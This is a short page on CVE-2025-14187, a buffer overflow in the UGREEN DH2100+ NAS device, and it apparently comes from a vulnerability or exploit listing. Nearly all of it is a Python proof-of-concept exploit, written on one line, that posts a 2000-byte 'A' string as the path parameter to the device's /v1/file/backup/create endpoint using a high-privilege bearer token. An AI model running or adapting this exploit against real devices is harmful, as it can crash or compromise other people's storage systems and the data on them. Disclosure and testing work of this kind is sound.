CVE-2025-14187: UGREEN DH2100+ 缓冲区溢出漏洞

import requests # CVE-2025-14187 PoC - UGREEN DH2100+ Buffer Overflow # Target: UGREEN DH2100+ NAS device # Endpoint: /v1/file/backup/create # Component: nas_svr handler_file_backup_create target = "http://target-ip:80" endpoint = "/v1/file/backup/create" # Generate payload with oversized path parameter # This triggers buffer overflow in handler_file_backup_create buffer_size = 2000 # Adjust based on target payload = "A" * buffer_size def exploit_buffer_overflow(): """ Exploit the buffer overflow in path parameter handling. The vulnerable function does not properly validate path length. """ headers = { "Content-Type": "application/json", "Authorization": "Bearer <high-privilege-token>" } data = { "path": payload, "backup_type": "full" } try: response = requests.post( f"{target}{endpoint}", json=data, headers=headers, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": exploit_buffer_overflow()